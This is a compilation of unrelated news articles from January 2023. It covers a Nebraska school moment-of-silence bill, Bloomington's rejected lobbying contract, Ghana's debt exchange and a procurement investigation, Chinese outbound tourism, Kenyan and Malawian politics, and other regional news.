LINCOLN  A public hearing in the Nebraska Legislature saw opposing testimony that focused heavily on resisting calls to bring prayer into the classroom, though one lawmaker claimed the bill wouldnt do that in the first place.

The Education Committee held a public hearing Monday afternoon on three bills, the last of which, Legislative Bill 141, prompted the prayer debate. Introduced by State Sen. Tom Briese of Albion, the bill would require the State Department of Education to issue guidance to schools that choose to schedule a moment of silence during the school day.

Briese clarified during the hearing that the moment of silence did not equate to a moment for prayer, saying he took a secular approach when drafting the legislation. He also said he did not want the bill to mandate all schools add a moment of silence to their daily schedules.

These waters, they do have to be navigated carefully, Briese said.

Briese said he envisioned schools delegating a minute or two at the start of the school day for reflection or meditation. He said a moment of silence can set the mood for the rest of the day, promote self-control and reduce bullying.

There isnt anything in Nebraska law stopping schools from adding a moment of silence currently. However, because there isnt state guidance on it, Briese said he believed local public schools might believe they arent allowed to.

Despite Brieses claims, multiple testifiers argued the bill is meant to be interpreted as a way to enforce prayer in schools. Including submitted comments, two people supported the bill, two were neutral and 11 people were opposed.

Rachele Walter, president of the Lincoln Atheists, said moments of silence that are not tied to a specific event are inherently a religious observance, and argued that students are already free to pray at all points of the school day.

Students are there to learn, they are not there to pray, Walter said.

Walter and other testifiers argued that rather than discourage bullying, the bill would actually encourage bullying against students who were not religious or followed an alternative religion outside Christianity.

Judy King, who also opposed LB 141, said she didnt trust the religious right in the Legislature to not use the legislation as an opportunity to impose religion into the classroom.

LB 141 was introduced at a time when Republicans across the country have been calling to bring prayer back into schools for at least a year. One of these Republicans is Gov. Jim Pillen, who during his gubernatorial campaign posted a tweet calling on Nebraska to put God back into our schools.

Though Briese described himself as a religious prayerful guy, he said he did not support requiring schools to instill prayer in schools, and claimed his bill was not related to Pillens campaign statement. He said such a mandate would conflict with the U.S. Constitution and would put schools into treacherous waters.

Sen. Joni Albrecht of Thurston, a member of the Education Committee, pushed back against some of the opposition claiming LB 141 promotes prayer in schools, arguing that prayer isnt in the bills language. She argued that teachers could use the moment of silence as a helpful tool to calm down their students.

Carina McCormick, an opponent who Albrecht was directing her comments toward, pointed out that its important to note the difference between a timeout and a moment of silence.

Briese responded to the criticism by saying it only reinforced the need for guidance from the State Department of Education. With a well-designed template, Briese said schools can implement a moment of silence that avoids the concerns mentioned in the hearing.

Photos: 2023 Nebraska legislative session
BLOOMINGTON  Advocating for federal grant money to support essential Bloomington projects may rest solely on the city's congressional representatives after a federal lobbying contract was rejected by the city council.

While city officials argued hiring Thorn Run Partners would improve the city's profile in Washington, D.C., critics disagreed with using taxpayer money for additional advocacy that others should already be doing.

In October, the city of Bloomington submitted a request for proposals to retain the services of a lobbyist consultant that could advocate for federal funding. Of the five firms that submitted proposals, the city chose to move forward with bipartisan, Washington, D.C.-based Thorn Run, which was ranked as a top lobbying firm by Politico and the Washington Post.

The agreement would have been for three years at an annual cost of $90,000.

Bloomington Deputy City Manager Billy Tyus said the agreement represented an intentional effort by the city to secure funding for priority projects like infrastructure. Getting on the radar of Congress as lawmakers decide how to allocate federal funding is critical and not something that can be done internally, he added.

"There are thousands of pieces of legislation that are filed regularly and those aren't things that we have the expertise to be able to track," Tyus told the council members during Monday night's meeting. "This company has proven that they have a track record of being able to secure funding for things like road infrastructure, which is a need here, for things like electric vehicle infrastructure, which is obviously a need here (and) safe water, which is obviously a need here."

Katherine Murphy, external affairs and communications manager for Bloomington, said the city has worked with a federal lobbying firm on some specific projects but they werent hired for a consistent run of lobbying for the city.

The city's previous lobbyist, Julie Curry, had worked statewide for the city, Murphy added.

Normal, meanwhile, has used Cardinal Infrastructure for more than 18 years to help raise federal funding for projects.

Alderman Grant Walch said Bloomington's elected officials in Springfield and Washington, D.C., should be fighting for the city, and council members should be able to call up their legislators to let them know which projects are priorities.

"I don't think we should be paying someone to do what we should be doing and our elected officials should be doing," Walch said.

U.S. Rep. Eric Sorensen of the 17th Congressional District, which covers most of Bloomington-Normal, could not immediately be reached for comment Tuesday.

Alderman Nick Becker said it was ludicrous for the city to spend more money to possibly get a better share of federal grant opportunities. He also asked Tyus if he could guarantee that the city could collect more than $90,000 in grants each year to recoup the consultant's expenses.

Tyus said he couldn't guarantee how much money the city could collect but the services and the advocacy being provided is well worth the cost.

"It isn't simply about securing funding," Tyus said. "It's also about advocacy (and) it's also about making sure that priorities, as laws are being made, are before both our legislators, our own delegation, but also folks who are perhaps aren't our direct representatives and senators who are part of the decision-making process."

Aldermen Walch, Becker, Sheila Montney, De Urban and Tom Crumpler voted no.

Other business

As part of its consent agenda, the council also approved a utility agreement between the city and TKnTK LLC for the extension of water and sewer mains as a part of a redevelopment plan at South Bunn Street and Tri-Lakes Road.

TKnTK LLC's plan is to add a solid waste transfer station to the property. But because the property currently sits outside city limits, it will need water and sewer service from the city. The Illinois Environmental Protection Agency ultimately has to issue the permit to operate the transfer station.

Watch now: 27 photos from TENT fundraiser Jan Lancaster, David Bentlin McLean County Board Member Beverly Bell, Mary Leung, Laura Bailey Sharon ShareALike Matt Ralston Bethany, Nancy and Ingrid Martin DJ Doug Meyers Brandy Maloney, Kris Williams Tera Galloway, Ash Albera, Jes Galloway Alex Jordine Michelle Aspbury, Hope Morris Jessica Paulson, Mazzy Vincent, Gabriel Vincent Todd and Shelli Willoughby Getting ready to enjoy the show Nathan Beck, Cameran Kelley Red Raccoon auction items Brad Martin Jamie Mathy, David Bentlin Organize Brienne Reid Beverly Bell, David Bentlin Sharon ShareALike Sharon ShareALike Venice Venice Obsydia Sharon ShareALike Bianca Fox Bianca Fox
The government has agreed to pay five per cent coupon (interest) on bonds for this year.



It will also pay a single coupon of nine per cent on the 12 new bonds it proposes to issue to domestic bondholders who tender their old bonds.



The government and the bankers also agreed on the removal or amendment of all clauses in the Exchange Memorandum that empowered the Republic to, at its sole discretion, vary the terms of the exchange.



Statement



The parties issued the statement after a crunch meeting Monday (Jan 23, 2023) to negotiate new designs and concessions to make it easier for banks to participate in the voluntary DDEP.



The bankers association also asked the government to provide clarity on the operational framework and terms of access to the Ghana Financial Stability Fund (GFSF).



The fund is expected to help fund managers, banks, insurance companies and the likes with cash flow to meet their obligations as the fall due, in view of the cash flow challenges the debt exchange programme would bring upon the participating institutions.



Context



Even though bond coupons are usually paid in two instalments, under the Domestic Debt Exchange Programme (DDEP), the government proposed to pay no interest for this year.



However, bonds maturing from 2024 will receive five per cent coupon in 2024 and thereafter between nine per cent and 10.65 per cent.



An agreement to pay five per cent coupon for 2023 and a single coupon rate for each of the 12 new bonds, resulting in an effective coupon rate of nine per cent, a joint statement by the Ministry of Finance and the Ghana Association of Bankers (GAB) stated.



The association had earlier instructed its members not to participate in the programme until certain agreements were reached.



However, the joint statement said the government of Ghana and the Ghana Association of Banks (GAB) have made significant progress on the terms for the participation of banks in the Domestic Debt Exchange Programme (DDEP).



Individual approvals



It said the agreement encompassed final improvements to the terms of the DDEP.



While the GAB said it recognised the progress made, it noted that the participation of its member banks in the DDEP, per the new terms, was subject to each individual banks internal governance and approval processes.



However, such processes should not go beyond Monday, January 30, this year.



This is a significant milestone towards addressing our economic challenges, and will thus help to restore macroeconomic stability and accelerate Ghanas economic growth, the statement said.



With this achievement, the government of Ghana reiterates its commitment to concluding the DDEP in time with all other stakeholders, it added.

Source: graphic.com.gh









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Chinese passengers are welcomed by Thai officials at the Suvarnabhumi Airport in Samut Prakan, Thailand, Jan. 9, 2023. (Xinhua/Rachen Sageamsak)

HANGZHOU, Jan. 23 (Xinhua) -- On the first day of the Chinese Lunar New Year, a Chinese tourist surnamed Wu landed in Bangkok, Thailand, together with her parents, at the start of a long-awaited vacation.

"I wanted to take my family to Thailand a few years ago, but it was put on hold due to the COVID-19 pandemic," said Wu, who lives in Hangzhou, capital of east China's Zhejiang Province. "As soon as the restrictions on our overseas trips were lifted, I booked the plane tickets to Thailand and fulfilled my promise."

As China downgraded its management of COVID-19 and facilitated the smooth and orderly cross-border travel of Chinese and foreign nationals in early January, the outbound travel market, which had been almost dormant for the past three years, quickly recovered during the Spring Festival.

"Currently, the demand for outbound travel is very strong. For instance, our charter flight products to the Maldives on Chinese Lunar New Year's Eve were sold out within three days," said Hang Haijun, head of a travel photo service.

The embassies and tourist bureaus of many countries, including Thailand, Norway and Indonesia, have extended their welcomes to Chinese tourists in various ways since the adjustment of China's COVID response and entry-exit policies.

"For any destination in the world, the return of Chinese tourists is something to look forward to," said Shen Jiani, a senior researcher at the strategic research center of the Ctrip Research Institute, adding that the boost will be felt most in the Asian market, as it is closer to China.

Chinese tourists are now more likely to choose overseas destinations with more open and friendly entry policies.

Data from Trip.com Group shows that nearly half of the hotel bookings made on the platform by Chinese tourists for longer than 20 days are orders for Thai hotels. In the past week, the number of Thai visa applicants in China increased by three times compared with last year, while the number of people buying tourism products for Thailand surged by 10 times year-on-year, according to data from Alibaba's travel branch Fliggy.

Wu said that she and her family left Guangzhou in the morning and landed in Bangkok at noon. It took only 20 minutes for them to complete the customs clearance process. "We were still unsure about the entry situation before we departed China, but the whole process went without any problem," she said.

Chinese tourists to Indonesia, Malaysia, Singapore and other countries have also posted their smooth entry experiences on social media platforms.

The influx of Chinese tourists is adding confidence to the economic recovery of some countries that depend on tourism. Malaysia is expected to receive 1.5 million to 2 million Chinese tourists in 2023, while some related industry practitioners in Singapore estimate that Chinese tourists will generate an additional 2 billion Singapore dollars in annual revenue.

Chinese people's urgent demand for outbound travel is also pushing tourism authorities to adjust policies.

On Jan. 20, the Ministry of Culture and Tourism released a circular to revive outbound group travel to 20 countries with friendly entry policies towards China, including Thailand, the Maldives, the United Arab Emirates, Russia and New Zealand. In Zhejiang, many travel agencies launched outbound group tour products overnight, and the tours of some routes were filled up right away.

"The market recovery is coming more quickly and steadily than expected," said Chen Jin, deputy general manager of China International Travel Service Ningbo Co., Ltd., adding that the resumption of outbound group travel will be a booster accelerating the recovery of the whole tourism industry. 
The President of the Ghana Journalists Association (GJA) Albert Dwumfour, has urged graduates of tertiary institutions to use their time effectively to increase productivity.



As we all strive for excellence in our respective fields, we must be very deliberate and pragmatic in all of our endeavors. Yes, this is crucial as you prepare for the oversaturated job market, which necessitates specialized skills and traits for survival. This means you must be willing to be unique



Mr. Dwumfour was speaking on the theme: Pragmatism, Productivity, and Progress: Keys to Personal and Professional Development at the Graduation Ceremony of GH Schools last Saturday.



As recent graduates who are preparing for the job market (i.e., in fact, you are the newest graduates in town), it is crucial that you use your time effectively to increase productivity, especially during these economically difficult times. In many workplaces in our region, productivity is extremely low because employees pretend to work when they are not doing so. They devote so much time to social media that they forget that time lost is time wasted, Mr. Dwumfour added.



Therefore, I would recommend that we all utilize our time wisely to increase productivity at our respective workplaces. When this occurs, we can negotiate with our employers for a higher salary, he said.



Mr. Dwumfour praised the Rector and CEO of GH Schools, Leslie Listowel, and his diligent management for their significant contributions to the nations education development and more importantly to the growth of the media.



GH Schools has shaped and fostered talent over the years, and they deserve praise for this, Mr. Dwumfour added.



He further commended GH schools for consistently delivering quality products to the marketplace adding As a former Managing Director of Atinka Media Village, which consists of Atinka TV, Atinka FM, Atinkaonline, Agyekwa FM in Kumasi, and Ahoto FM in Takoradi, I can attest that interns from GH Schools consistently outperformed expectations, and some were eventually hired.



I am also confident that the current crop of graduates will excel wherever they find themselves on the job market because GH schools offer quality and affordable tuition, he said.

Source: Peacefmonline.com









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Kenyas opposition leader, Raila Odinga, has said his political coalition does not recognise William Ruto as the President of Kenya and declared the new Kenyan government as "illegitimate".



Mr Ruto beat him in last August's poll, but Mr Odinga - who appeared at Nairobi's Kamukunji Stadium along with his running mate Martha Karua, and other allies - repeated claims that the results were manipulated. Claims that had already been rejected in court.



He declared that he and his movement "reject the 2022 election result totally", which was received with great cheers and applause from an adoring crowd.



"We cannot and we don't recognise the Kenya Kwanza regime," he continued.



The 2022 election was Mr Odingas fifth attempt at the presidency, but he was beaten by Mr Ruto who was declared winner in the absence of four election commissioners who dissented and accused the commission chairman of delivering what they called opaque results.



Mr Raila then rejected the results and took the case to court.



But the Supreme Court upheld Mr Rutos victory. The aftermath has been dramatic with accusations and counter accusations.



Election chief Wafula Chebukati has claimed he was under intense pressure from unspecified forces to announce different results, and most recently, President Ruto sensationally said there had been an assassination plot against Mr Chebukati.



Some of Mr Odinga's partners in his Azimio Coalition have since decamped and declared their support for the Kenya Kwanza administration.



Others have remained steadfast with him in this renewed fight for what they call electoral justice.



The next general election is four years away, however the main opposition is already calling for sweeping electoral reforms, and is calling for the current administration to leave office.







Source: BBC









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The Chief Executive Officer of Marrer Ghana Limited and Susagtad Boat Building, Mr. Novihoho Afaglo has described government inclusion of individual bondholders in the ongoing Debt Exchange programme as autocratic.



According to him, the decision by the government is an infringement of the fundamental human rights of the Ghanaian bondholder and calls on the citizens to speak vehemently against such action.



Mr. Afaglo said, individual Ghanaians should not be made to suffer or carry the burden of incompetent New Patriotic Party (NPP) leaders who failed to manage the resources trusted into their hands.



Speaking to myrepubliconline last Sunday, Mr. Afaglo said "why should individuals suffer for the action of corrupt and incompetent leaders."



"We have to resist all attempts if including blocking the various road network in town to register our displeasure on government decision to include individual bondholders because majority of these people were not the ones who created the current economic mess," he stated.



He added that Ghanaians should arise and condemn the January 31 decision as the deadline proposed by the incompetent Finance Minister, Mr. Ken Ofori-Atta because enough is enough.



Mr. Afaglo's anger was to buttress an earlier release issued by the Christian Council and cross-session of other Ghanaians urging government to suspend the Debt Exchange programme immediately



He said all indicators point to the fact that majority of Ghanaians don't support the decision and therefore government must recent his decision and look for other alternative ways of absorbing the programme.



The CEO said per the public outcry, the only decision available to government now is to suspend the whole programme.



"In a Democratic environment, why do you fail to embark on participatory process where people would understand the reason why their bonds should be included in the programme rather than using force to compel them," he stated.



"Even if their bonds should be included, there should have been thorough engagement with stakeholders to help appreciate the concerns of the affected individuals and institutions to allow for measures to be outlined to address the challenges.



He called on the government to suspend the programme of including individual bondholders into the Debt Exchange Programme or be prepared to meet a public revote from Ghanaians.

Source: Peacefmonline.com









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The Office of the Special Prosecutor (OSP) has recommended the prosecution of four persons for respective breaches of the Public Procurement Act, 2003 (Act 663) in operations at the Northern Development Authority (NDA).



The four are the Chief Executive of the Northern Development Authority, Mr. Sumaila Abdul-Rahman; the Deputy Chief Executive (Operations) of the NDA, Mr. Stephen Yir-eru Engmen; the Deputy Chief Executive (Finance & Administration) of the NDA, Mr. Patrick Seidu and the Chief Executive of A&QS Consortium Limited, Mr. Andrew Kuundaari.



The findings are the results of a six-month investigation triggered by a written complaint dated June 15, 2022, by Mr. Martin Luther Kpebu, a private legal practitioner who requested for an investigation into the operations of NDA and the actions of its Chief Executive and Board Chairman.



The OSP interviewed twenty (20) persons over a period of four (4) months, as part of the investigation.



Report



The report by the OSP into the investigation dated January 24, 2023, found that Mr. Abdul-Rahman, Mr. Engmen, Mr. Seidu, and Mr. Kuundaari influenced the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by the NDA under the Infrastructure for Poverty (IPEP) by increasing the approved procurement total contract sum of GH5,720,000.00 by an amount of GH4,680,000.00 to an amount of GH10,400,000.00 without lawful authority.



It also found that Mr. Kuundaaris submission of invoices for the inflated GH10,400,000.00 contract sum was borne of mischief. It said he knowingly submitted invoices on behalf of A&QS in excess of the approved procurement total contract sum of GH5,720,000.00) by an amount of GH4,680,000.00).



The report added that he succeeded in securing approval for the payment of GH8,328,840.00), which exceeded the approved procurement total contract sum by an amount of GH2,608,840.00 with a further outstanding amount of GH2,071,160.00).



It said the invoices were "the building blocks of a carefully staged design to, directly and indirectly, influence the public procurement process to obtain an unfair advantage in the award of a procurement contract by NDA to A&QS under the IPEP".



"Mr. Abdul-Rahman, Mr. Engmen, and Mr. Seidu intended their actions to, and their actions did in fact, directly or indirectly influence the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by NDA under the IPEP by pushing through and/or approving and/or contributing to approve and/or contributing to cause the approval for payment to A&QS two (2) invoices totaling Eight Million Three Hundred and TwentyEight Thousand cedis Eight Hundred and Forty cedis (GHC8,328,840.00) and exceeding the approved procurement total contract sum of Five Million Seven Hundred and Twenty Thousand cedis (GHC5,720,000.00) by an amount of Two Million Six Hundred and Eight Thousand Eight Hundred and Forty cedis (GHC2,608,840.00) with a further outstanding amount of Two Million Seventy One Thousand One Hundred and Sixty cedis (GHC2,071,160.00), without lawful authority," the report reads.



"Mr. Engmen intended his actions to, and his actions did in fact, directly and indirectly influence the procurement process to obtain an unfair advantage to A&QS in the procurement for consultants by NDA for consultants under the IPEP by purporting, without lawful authority, to accept on behalf of NDA, an offer from A&QS for consultancy services for the design and supervision of construction infrastructure works and engineering services under the IPEP at a time when he was fully aware that NDA had not applied for PPA approval for the procurement of A&QS and PPA had not approved the procurement of A&QS by NDA".



The report signed by the Special Prosecutor, Mr. Kissi Agyebeng also commended the complainant, Mr Martin Kpebu for his public spiritedness and sense of duty.



It will be recalled that on July 1 last year, the Special Prosecutor directed the Controller and Accountant General to immediately freeze payments to A&QS under NDAs implementation of the IPEP until the close of the investigation.



The report noted that while lifting that directive in principle, the Special Prosecutor advises all public officers in the approval chain to advert their minds to the tenor of a January 16, 2020, PPA approval for the procurement by NDA of A&QS and to ensure value for money. The tenor stated that the prescribed full contract price for the procurement of A&QS was GHC5,720,000.00.



About IPEP & NDA



In 2017, the ruling New Patriotic Party instituted the Infrastructure for Poverty Eradication Programme (hereafter, IPEP) in fulfilment of a campaign promise to reduce poverty, especially in rural and deprived communities, through the allotment of the cedi equivalent of One Million United States dollars to every electoral constituency.



In pursuance of the IPEP, the government created the Ministry for Special Development Initiatives and it further established three development authorities  Coastal Belt Development Authority, Middle Belt Development Authority and Northern Development Authority, which replaced Savannah Accelerated Development Authority.



The Northern Development Authority was established under the Northern Development Authority Act, 2017 (Act 963) to mobilise resources for the accelerated economic and social development of the Northern Development Zone  constituting the Northern, Savannah, North East, Upper West and Upper East Regions and comprising fifty-seven (57) electoral constituencies. It is headquartered in Tamale in the Northern Region.

Source: graphic.com.gh









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When the President of Malawi, Lazarus Chakwera, got hold of an audit report from his country on the expenditure that had been done with respect to some COVID-19 funds, he went full throttle, making heads roll.



The actions, as he stated in a video that has emerged on social media, were so drastic that some of them included the immediate sacking of a critical cabinet minister.



Other people who were named as engaging in corrupt practices were also arrested and forced to repay all of the money they stole.



The video, shared by TV3s Johnnie Hughes, showed President Chakwera addressing his country via video, and laying out all the immediate actions he had instituted to ensure that all the thieves named in the report are dealt with.



He explained that he feels the same anger and anguish as his fellow citizens, but actions will be taken to ensure that they retrieve all the monies that have been lost or stolen.



I can assure you, everyone, that there is no place on earth where these criminals will hide. The anguish and outrage you all feel from reading this audit report is not only righteous but also one that I personally feel.



And now that the evidence related to the 6.3 billion is before us, Im taking action. As I speak, over a dozen individuals suspected of committing the crimes exposed by this audit report have just been arrested by the Malawi Police Service, he said.



President Lazaru Chakwera also sent out a warning to all other civil service workers in the country to be on guard, because should they be found guilty, they would go to prison.



He also indicated that he had directed for the arrest of some officials who superintended over such corrupt actions.



So, I want all the thieves hiding in the civil service to mark my words: if the finger of evidence points to you as one of the thieves that stole COVID money for saving lives, while hundreds of our people were dying of COVID, you are going to prison. On top of that, we will use the relevant laws to ensure that you pay back what you stole.



I have directed the secretary to the president of cabinet, (sic), to interdict (sic) those public officers whose direct watch a financial mismanagement occurred, he added.



The president also explained the decision he had taken on his Minister of Labour, stating that he has ensured that the official has returned all the monies he stole.



As for the Minister of Labour, who was named by the audit report as having spent COVID funds amounting to 613,000 on his allowances for a foreign trip, I have dropped him from my cabinet accordingly, he said.



Ghana is currently at a similar crossroads, as the Auditor-General, Johnson Akuamoah Asiedu, has released a report on the audit of the Government of Ghana's COVID-19 expenditures for the period March 2020 to June 2022.



In the report, there have been such revelations as the Ministry of Health spending GHC 20 million to renovate an apartment that it rented for GHC 15 million.



Also, the report indicated that nearly 50% of all COVID-19 funds were used for budget support, and not to fight the pandemic itself.



The audit report also showed that the Ministry of Information, headed by Kojo Oppong Nkrumah, paid its management and staff an amount of GH151,500 as risk allowance, even though they are not health workers.



President Nana Addo Dankwa Akufo-Addo of Ghana is however yet to comment or make any statement on the audit report.





Source: ghanaweb.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Director of Health at the Shai Osudoku District, Reverend Dr Ebenezer Asiamah and the medical officers at the Ayikuma CHPs compound near Dodowa in Shai Osudoku district have expressed delight at an imminent improvement in the health care delivery at the CHPs facility, particularly in the field of maternity health care.



The extensive delight is in lieu of the receipt of a state-of-the-art Philips iU22 ultrasound scan machine that offers the best image quality possible through xMatrix transducers with the best aspects of single-crystal and 4D transducers.



Swiss nationals, Andreas Frick and his wife, Gritz Frick presented the modern ultra-scan machine to the Ayikuma CHPs compound near Dodowa in the Shai Osudoku district, through their friends in Ghana - Mr Emmanuel Kwasi Afriyie, Director of Communications at the Youth Employment Agency and a Presenter at Metro TV and Michael Amfo Afriyie, CEO of Riva Swiss Hospital at Ejisu in the Ashanti Region.



The donation was in fulfillment of a pledge the Fricks made to officials of the health center on their tourism visit to Ghana early last year.



They had been impressed by the community healthcare nature of the CHPs compound but were concerned about the lack of requisite equipment especially in the area of maternal healthcare where the community members needed it most and as such promised to support the centre.



True to their words, Andreas Frick and his wife, Gritz, both who live and work in the health sector in Switzerland, delegated their local representative to undertake the gesture on their behalf.



Speaking at a brief ceremony to hand over the machine to the CHPs compound on behalf of the Fricks, Mr. Emmanuel Kwasi Afriyie said the Swiss nationals had been warmly welcomed by the Mr. Kenneth Nartey, a Senior Research Officer in the Shai Osudoku District and his colleagues to the Shai hills and, as part of the tour, took them to some facilities since they were in the health sector.



According to him, they were touched and pledged their widow's mite to support mostly pregnant women in the communities.



"This gesture by Andreas and his wife is a significant contribution and a fulfillment of their pledge, which they hope will make a great impact at this facility", Mr. Afriyie told journalists.

The District Director of Health Services at Shai Osudoku, Rev. Dr Ebenezer Asiamah expressed his gratitude for the donation and indicated that the facility has been losing out on patients especially pregnant women because it does not have a modern scan machine.



He was hopeful that this will bring life to the center and reduce the burden of antenatal healthcare on the Shai Osudoku District Hospital.



Dr Asiamah said the district was looking forward to express their appreciation in person in the near future to the Fricks.



"We are very grateful and we look forward to getting more", he said.



The midwife in charge of the Ayikuma CHPs compound Madam Wilhemina Dadebo and the entire staff were highly elated at the receipt of this machine and promised to keep it with utmost care and standard of maintenance to ensure that it lasts enough to serve a lot more people.



Mr. Kenneth Nartey, a Senior Research Officer in the Shai Osudoku District, speaking to the media promised that with the donation of this machine, they are all encouraged to support the CHPs compound to improve healthcare delivery in Ayikuma and the adjoining communities.



The donation saw in attendance Dr. Solomon Narh-bana, Senior Research Officer at the District, Isaac Tetteh, District Director of the Youth Employment Agency, Eugene Davis, Research Officer at the Parliament of Ghana, Officials from NHIA amongst others.



The Philips iU22 is a premium shared service ultrasound machine that offers the best image quality possible through xMatrix transducers that offer the best aspects of single-crystal and 4D transducers.



It also offers the top of the line image quality and features available for Radiology, OB/GYN, Cardiac, Vascular and even specialty imaging like MSK, Pediatric, and Elastography.



The iU22 has been replaced by the Epiq 5 but still maintains top of the line image quality.





Source: Peacefmonline.com/Ghana









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Corporate Governance Expert and Lecturer at GIMPA, Dr Kwaku Anane Gyinde has cautioned communicators against the use of the media as a tool to propagate ethnic hatred.



According to him, it is dangerous for the country when commentators make deliberate pronouncements in the media geared towards ethnocentric politics.





Dr Gyinde added that inciting ethnic hatred or violence is a criminal offence according to Ghanas Constitution.



Some of these statements that these people have been making, a lot of them are not even aware that it is criminal, he said.

if you go to the realms of international law, now there is a legal principle that anybody who incites ethnic hatred can be charged and tried by the intentional criminal court, he added.





Speaking on the GTV Breakfast Show, Dr Gyinde made reference to the Holocaust between 1941 and 1945 and the Rwanda genocide of 1994 where ethnocentric politics wreaked havoc on nations.



If we go back to history, it is this same ethnocentric politics that was employed by Joseph Goebbel, the Propaganda Secretary of Adolf Hitler. He started alleging that the Jews control about 80% of bakeries in Germany so what if one day they decide to poison us and that was the beginning? You go to Rwanda, before their crisis some radio station intentionally incited the Tutsis against the Hutus. I visited Rwanda in 2015 and was sent to the genocide museum. If you get there, you will know how wicked human beings can be towards their fellow human beings, he narrated.



He called on media practitioners, social commentators, and panellists among others to be mindful of their utterances when given a platform to address issues of national interest.



At the end of the day, we can disagree. Thats the essence of democracy. We can disagree and agree but our disagreement should not descend into chaos or anarchy, he advised.





Source: gbc









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A 20-year-old Kenyan man has confessed to the gruesome murder of his grandmother.



Appearing before Mombasa principal magistrate Vincent Adet, the suspect identified as Abdulaziz Ali Swaleh told the court that shortly after joining Illuminati cult, he was instructed to kill his grandmother.



Swaleh said; "It's true l killed her. I'm sorry, l ask for forgiveness but l only did it after joining Illuminati.



The murder suspect further revealed that he was mentally disturbed after carrying out the act, and now needs drugs to control his anxiety.



He added; "My mind is not okay, l feel disturbed and this is because there are drugs that l often use, l need them."



Preliminary investigations indicate that the suspect murdered his grandmother on January 21, 2023, in her sleep after she declined to give him money to purchase narcotics drugs.



Police Constable Mohammed Mapenzi attached to the Directorate of Criminal Investigations (DCI), through prosecution counsel Hillary Isiaho, informed the court that the accused person was a suspect in a murder incident where it is alleged that he murdered his grandmother by slitting her throat using a kitchen knife.



Ruling on the case, the magistrate ordered that the suspect to be detained at the central police station for 14 days to allow police complete investigations.



He further ordered the suspect to undergo a mental assessment test.









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Reverend Isaac Owusu Bempah, the founder and leader of the Glorious Word Power Ministries International has declared support for Kennedy Agyapong in his bid to become the flagbearer of the New Patriotic Party.



Reverend Owusu Bempah said on Oman FM that he shares a special bond with Kennedy Agyapong and that he cannot turn his back on him.



He explained that the relationship between him and Kennedy Agyapong goes beyond the boundaries of politics which enjoins him to give his unalloyed support to the Assin Central MP who is seeking elevation to the presidency.



He noted that Kennedy Agyapong has been of immense support to him and that he will back his bid to lead the NPP and also lead Ghana.



Reverend Owusu Bempah added that the doors of his church are opened to politicians across the various divide who will visit his church but Kennedy Agyapong holds a special place in his heart.



Beyond politics, he is my father and brother. Im speaking from my heart, no one in the NPP has supported me more than Kennedy Agyapong. If he wants to contest as flagbearer, why shouldnt I support him. I cant turn my back to him. Our friendship goes beyond politics. I support everything he does except something that might negatively affect human beings.



Even with that I will just advice him on that but for something that will help the country, family and individuals, I support him with all my heart. I pray that his vision will be realized. I welcome anyone who welcomes me. Any politician who comes to church will be welcomed but we will pray to God to show us who deserves to be president.



I welcome everyone but indoors, we will pray for whoever God picks to lead the country. If any politician visits my church tomorrow, it shouldnt create any issue. As we speak, I know what God has revealed to me but I wont say it. I know many politicians including NDC members will come to my church and our doors are always opened for them, he said.



Reverend Owusu Bempah also disclosed that God has revealed to him the winner of the 2024 elections but he will not announce it publicly due to past experiences.



He also disclosed knowing the winner of the NPP presidential primaries but that he will keep that to his chest.



"Prophesying elections is a special gift from God. For 2024, I wont make my prophesy public. I will speak to the winner in private and communicate to him the wishes of God. I know the person who will win the 2024 elections but unlike previous years, I wont say it publicly.



He issued a caveat that his support for Kennedy Agyapong should not be seen as an endorsement of his candidature but rather a declaration of support for a good step being taking by his good friend.



He, however, has no issue with people who will interpret his statement to be an endorsement of Kennedy Agyapong.



I know the person who will win the NPP primaries but I wont say it publicly. I have not endorsed Kennedy Agyapong, Alan Kyerematen and Bawumia but I have a personal relationship with Kennedy Agyapong. He treats me very special he said.



Reverend Owusu Bempahs claim comes on the back of a visit by Kennedy Agyapong to his church on Sunday, January 22, 2023.









Source: ghanaweb.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Bice Osei Kuffuor, the Managing Director of the Ghana Post Company Limited is confident about the chances of the New Patriotic Party in the 2024 elections.



Obour, as he is widely known believes that the key element that will decide the 2024 elections is a governments ability to wheel its citizens out of crisis and as far as he is concerned, the NPP government has done a good job of lifting Ghanaians from the impact of the Coronavirus pandemic.



Speaking on The Hard Truth show, Obour bragged that the NPP has already won the elections and that going to the polls on December 7, 2024, will be a mere formality.



NPP has already broken the eight. For anybody who is making an assessment of a situation, we need to look at how you are able to come out of problems. COVID-19 was a major bomb everywhere in the world. The US, UK, and Italy all struggled with it. In Ghana, we managed it brilliantly.



A problem will come but look at how people are able to manage themselves out of the problem. Problems happen all the time but depending on the government of the day, how did we solve the problem? Are we not solving the issues? Currently, we are going through a difficult time and it's not a Ghana-limited problem, he said.



Whiles Obour is sure of victory in 2024, the party itself is unsure of who will be standing on its ticket for the 2024 elections.



Former Minister of Trades and Industry, Alan Kyerematen, Assin Central MP, Kennedy Agyapong, and Dr Owusu Akoto Afriyie are some of the persons who have already confirmed their decision to contest the elections.



Vice President, Dr Mahamudu Bawumia is also expected to run for the position as he seeks to replace his boss, President Nana Addo Dankwa Akufo-Addo.



Meanwhile, the party is yet to announce a date for the holding of it Presidential and Parliamentary congress.









Source: ghanaweb.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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TEHRAN, Jan. 24 (Xinhua) -- Two police officers were killed early Tuesday in an attack by several "thugs" in the southeastern Iranian province of Sistan and Baluchestan, Iran's official news agency IRNA reported.

The two police officers, identified as Mokhtar Momeni and Abouzar Omidvar, were assaulted at around 02:00 a.m. local time (2230 GMT) when patrolling with their colleagues at the entrance to Bampur County, Police Commander of the province Mohammad Qanbari was quoted as saying.

The "thugs" fled the scene after the attack, according to Qanbari.

Some clues have been found and search was underway to arrest the suspects, he noted. 
